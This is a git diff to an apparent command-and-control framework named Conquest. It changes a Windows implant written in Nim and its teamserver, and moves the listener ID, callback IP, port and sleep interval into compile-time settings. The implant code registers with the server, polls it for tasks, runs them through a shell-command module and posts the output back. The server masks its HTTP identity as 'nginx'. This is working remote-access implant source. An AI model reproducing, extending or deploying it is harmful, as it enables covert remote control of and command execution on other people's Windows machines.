diff --git a/.gitignore b/.gitignore index 3e912c5..a06e35c 100644 --- a/.gitignore +++ b/.gitignore @@ -2,8 +2,7 @@ # agents/ *.db # Ignore binaries -*/bin/* -server/server +bin/* *.exe # Nim diff --git a/agents/monarch/build.sh b/agents/monarch/build.sh index e389c49..9fbaaed 100644 --- a/agents/monarch/build.sh +++ b/agents/monarch/build.sh @@ -1,3 +1,4 @@ #!/bin/bash -nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c client.nim +CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" +nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" c $CONQUEST_ROOT/agents/monarch/client.nim diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index b746876..28c8313 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -4,6 +4,11 @@ import winim import ./[types, http, task] import commands/shell +const ListenerUuid {.strdefine.}: string = "" +const ListenerIp {.strdefine.}: string = "" +const ListenerPort {.intdefine.}: int = 5555 +const SleepDelay {.intdefine.}: int = 10 + proc main() = #[ @@ -14,10 +19,21 @@ proc main() = 4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate ]# - # TODO: Read data from configuration file + # The agent configuration is read at compile time using define/-d statements in nim.cfg + # This configuration file can be dynamically generated from the teamserver management interface + # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary + when not defined(ListenerUuid) or not defined(ListenerIp) or not defined(ListenerPort) or not defined(SleepDelay): + echo "Missing agent configuration." + quit(0) - let listener = "HVVOGEOM" - let agent = register(listener) + let config = AgentConfig( + listener: ListenerUuid, + ip: ListenerIp, + port: ListenerPort, + sleep: SleepDelay + ) + + let agent = config.register() echo fmt"[+] [{agent}] Agent registered." #[ @@ -30,13 +46,13 @@ proc main() = ]# while true: - sleep(10 * 1000) + sleep(config.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." # Retrieve task queue from the teamserver for the current agent - let tasks: seq[Task] = getTasks(listener, agent) + let tasks: seq[Task] = config.getTasks(agent) if tasks.len <= 0: echo "[*] No tasks to execute." @@ -45,7 +61,7 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: let result = task.handleTask() - discard postResults(listener, agent, result) + discard config.postResults(agent, result) when isMainModule: main() \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index 1afc13b..def9f8a 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -2,7 +2,7 @@ import httpclient, json, strformat, asyncdispatch import ./[types, agentinfo] -proc register*(listener: string): string = +proc register*(config: AgentConfig): string = let client = newAsyncHttpClient() @@ -24,20 +24,20 @@ proc register*(listener: string): string = try: # Register agent to the Conquest server - return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) + return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body) except CatchableError as err: echo "[-] [register]:", err.msg quit(0) finally: client.close() -proc getTasks*(listener: string, agent: string): seq[Task] = +proc getTasks*(config: AgentConfig, agent: string): seq[Task] = let client = newAsyncHttpClient() try: # Register agent to the Conquest server - let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks") + let responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") return parseJson(responseBody).to(seq[Task]) except CatchableError as err: @@ -48,7 +48,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] = return @[] -proc postResults*(listener, agent: string, task: Task): bool = +proc postResults*(config: AgentConfig, agent: string, task: Task): bool = let client = newAsyncHttpClient() @@ -61,7 +61,7 @@ proc postResults*(listener, agent: string, task: Task): bool = try: # Register agent to the Conquest server - discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson) + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time echo "[-] [postResults]: ", err.msg diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg new file mode 100644 index 0000000..59c194a --- /dev/null +++ b/agents/monarch/nim.cfg @@ -0,0 +1,5 @@ +# Agent configuration +-d:ListenerUuid="HVVOGEOM" +-d:ListenerIp="localhost" +-d:ListenerPort=5555 +-d:SleepDelay=10 \ No newline at end of file diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim index 0a35e33..c5b1deb 100644 --- a/agents/monarch/types.nim +++ b/agents/monarch/types.nim @@ -46,3 +46,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = wProductType*: UCHAR wReserved*: UCHAR +type + AgentConfig* = object + listener*: string + ip*: string + port*: int + sleep*: int \ No newline at end of file diff --git a/server/nim.cfg b/server/nim.cfg index 2d5efbe..958605c 100644 --- a/server/nim.cfg +++ b/server/nim.cfg @@ -1,4 +1,4 @@ # Compiler flags --threads:on -d:httpxServerName="nginx" -#--outdir:"../bin" \ No newline at end of file +--outdir:"../bin" \ No newline at end of file diff --git a/server/server.nim b/server/server.nim index 92eac50..7c7f7b2 100644 --- a/server/server.nim +++ b/server/server.nim @@ -125,7 +125,8 @@ proc main() = setControlCHook(exit) # Initialize framework - cq = initConquest() + let dbPath: string = "../server/db/conquest.db" + cq = initConquest(dbPath) # Print header cq.header() diff --git a/server/types.nim b/server/types.nim index b8fc548..dfc8fda 100644 --- a/server/types.nim +++ b/server/types.nim @@ -135,11 +135,11 @@ proc delListener*(cq: Conquest, listenerName: string) = proc delAgent*(cq: Conquest, agentName: string) = cq.agents.del(agentName) -proc initConquest*(): Conquest = +proc initConquest*(dbPath: string): Conquest = var cq = new Conquest var prompt = Prompt.init() cq.prompt = prompt - cq.dbPath = "db/conquest.db" + cq.dbPath = dbPath cq.listeners = initTable[string, Listener]() cq.agents = initTable[string, Agent]() cq.interactAgent = nil